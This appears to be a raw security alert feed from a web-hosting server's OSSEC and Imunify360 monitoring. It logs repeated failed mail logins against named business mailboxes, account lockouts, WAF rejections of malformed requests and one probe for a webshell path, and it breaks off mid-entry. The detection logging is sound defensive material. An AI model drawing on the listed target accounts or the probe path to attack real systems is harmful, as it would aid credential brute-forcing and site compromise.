2026-02-01 11:39:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54948: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:39:12 dovecot_login authenticator failed for H=(zjrWi8W9) [92.118.39.145]:63083: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:40:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-02-01 11:40:34 dovecot_login authenticator failed for H=([45.82.110.150]) [45.82.110.150]:54680: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.164.100.178
country_id: 3996063
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/images/5.jpeg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:40:05 dovecot_login authenticator failed for H=(plqpY7xwOZ) [178.16.54.22]:58567: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 11:40:08 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:35770: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
Feb  1 11:40:26 sv3 sshd[794933]: Accepted publickey for root from 10.1.14.100 port 62864 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:40:24 dovecot_login authenticator failed for H=(y9MypdQx) [92.118.39.145]:49690: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:40:39 dovecot_login authenticator failed for H=(e0GI2u) [178.16.52.139]:60614: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:40:13 dovecot_login authenticator failed for H=(SPSpyBMv1) [158.94.208.175]:62554: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:40:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61193: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.254.22.59
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/ielts_preparation.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.196.96
country_id: 3469034
description:
2026-02-01 11:40:45 dovecot_login authenticator failed for H=(96.196.181.45.datasysteminfor.com.br) [45.181.196.96]:60326: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:41:07 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55006: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:41:52 dovecot_login authenticator failed for H=(rne35ruS) [158.94.208.175]:55634: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:41:11 dovecot_login authenticator failed for H=(9RulTbi9o) [92.118.39.145]:51493: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:41:18 dovecot_login authenticator failed for H=(uN4iPK) [178.16.54.22]:57894: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:41:03 dovecot_login authenticator failed for H=(zqSdwu) [178.16.52.139]:53696: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:41:12 dovecot_login authenticator failed for H=(DyBv8lSFM) [158.94.208.175]:57259: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-02-01 11:41:48 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:54084: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:41:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:41:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58394: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 128.201.203.19
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=602659 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:42:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:42:20 dovecot_login authenticator failed for H=(YP1Wd9X) [158.94.208.175]:64905: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:42:25 dovecot_login authenticator failed for H=(6eJFqYMVMZ) [178.16.54.22]:50670: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:42:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64568: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.29.119
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=359598 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:42:19 dovecot_login authenticator failed for H=(yFx0dg) [92.118.39.145]:54424: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:43:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:43:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54486: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:43:21 dovecot_login authenticator failed for H=(AQEqkj) [158.94.208.175]:49187: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 11:43:43 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:34460: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:43:05 dovecot_login authenticator failed for H=(8lKD4zwACM) [92.118.39.145]:56330: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:43:20 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53982: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 11:43:53 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:49832: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:44:13 dovecot_login authenticator failed for H=(MNeELxjr) [92.118.39.145]:59305: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-02-01 11:44:56 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:57157: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.227.72.145
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/productt.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:44:05 dovecot_login authenticator failed for H=(ZeqnLFuA) [158.94.208.175]:56496: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:44:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:44:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50888: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.213.237.28
country_id: 6252001
description:
2026-02-01 11:45:13 dovecot_plain authenticator failed for H=c-73-213-237-28.hsd1.va.comcast.net (diter) [73.213.237.28]:38218: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.2.182
country_id: 2017370
description:
2026-02-01 11:45:17 dovecot_plain authenticator failed for H=(grupentry) [31.173.2.182]:39918: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.90.120.53
country_id: 1814991
description:
2026-02-01 11:45:20 dovecot_login authenticator failed for H=([218.90.120.53]) [218.90.120.53]:47120: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:45:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48574: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:45:14 dovecot_login authenticator failed for H=(cxmaaqk8a) [92.118.39.145]:61819: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
country_id: 690791
description:
2026-02-01 11:45:25 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [82.193.122.91]:36096: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:45:53 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:45:58 dovecot_login authenticator failed for H=(ZbFyNCqKz) [178.16.52.139]:63496: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.7
country_id: 1733045
description:
2026-02-01 11:45:04 dovecot_login authenticator failed for H=([49.124.153.7]) [49.124.153.7]:33164: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:45:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57130: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:45:21 dovecot_login authenticator failed for H=(9Gc4vtn) [158.94.208.175]:53766: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:45:23 dovecot_login authenticator failed for H=(gmKZHHZ) [178.16.54.22]:65511: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-02-01 11:46:40 dovecot_plain authenticator failed for H=(derlists) [64.53.7.231]:35502: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:46:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63803: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:46:23 dovecot_login authenticator failed for H=(gw1DBU) [92.118.39.145]:65055: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:46:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.174
country_id: 2635167
description:
2026-02-01 11:46:45 219710 [Warning] Aborted connection 219710 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.174' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:46:45 dovecot_login authenticator failed for H=(4zHkGkTy2s) [92.118.39.145]:49586: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:46:15 dovecot_login authenticator failed for H=(9YormeHDVq) [158.94.208.175]:51587: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:47:04 dovecot_login authenticator failed for H=(XTbqOySl9u) [178.16.52.139]:60587: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:47:08 dovecot_login authenticator failed for H=(Lp2X3f) [92.118.39.145]:50617: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:47:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59804: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:47:51 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:47:07 dovecot_login authenticator failed for H=(pD91a4x) [158.94.208.175]:51990: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:47:10 dovecot_login authenticator failed for H=(0IhSCAUdD) [178.16.54.22]:50489: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:47:57 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:48:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49756: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:48:12 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60078: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:48:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:48:16 dovecot_login authenticator failed for H=(as5bIQtL) [158.94.208.175]:59257: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:48:16 dovecot_login authenticator failed for H=(GHbdpwcCPg) [92.118.39.145]:53495: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.141.30.113
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=34 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.155.130.51
country_id: 2453866
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/category/meals-in-osaka/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-02-01 11:48:06 dovecot_plain authenticator failed for H=(setery) [5.32.99.14]:39031: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:48:14 dovecot_login authenticator failed for H=(IcX3xu2G7P) [178.16.54.22]:63467: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:49:02 dovecot_login authenticator failed for H=(BlHSLey) [178.16.52.139]:59529: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:49:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/fphortier/images/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:49:42 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:49:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56033: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:49:24 dovecot_login authenticator failed for H=(9Kl1VYb) [92.118.39.145]:56643: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.216.58.25
country_id: 1210997
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/category/meals-in-osaka/images/banner1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:49:24 dovecot_login authenticator failed for H=(z4cIBZuY) [158.94.208.175]:64383: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:50:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.49.99.8
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/category/meals-in-osaka/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:50:11 dovecot_login authenticator failed for H=(wyevGlBC) [92.118.39.145]:58937: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:50:10 dovecot_login authenticator failed for H=(qekiVxspr) [158.94.208.175]:64587: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:50:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52229: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:50:27 dovecot_login authenticator failed for H=(4TV0vhj) [158.94.208.175]:56440: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:50:28 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43442: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 125.161.42.184
country_id: 1643084
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-more.php?id=827464 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:51:34 dovecot_login authenticator failed for H=(rTN7ppZ17r) [158.94.208.175]:62408: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 11:51:16 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:36204: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:51:18 dovecot_login authenticator failed for H=(OAprIDPx0) [178.16.52.139]:49648: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:51:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:51:21 dovecot_login authenticator failed for H=(MkiSUm) [92.118.39.145]:61881: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.213.236.66
country_id: 6252001
description:
2026-02-01 11:51:25 dovecot_plain authenticator failed for H=c-73-213-236-66.hsd1.va.comcast.net (nothries) [73.213.236.66]:47256: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 11:51:04 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:55913: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:51:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58603: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:52:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:52:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38658: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-02-01 11:52:04 dovecot_login authenticator failed for H=([103.51.26.198]) [103.51.26.198]:36668: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:52:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64788: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:52:06 dovecot_login authenticator failed for H=(mpeWJZ) [92.118.39.145]:63821: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:52:10 dovecot_login authenticator failed for H=(fCy0ZZjDKE) [158.94.208.175]:64262: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
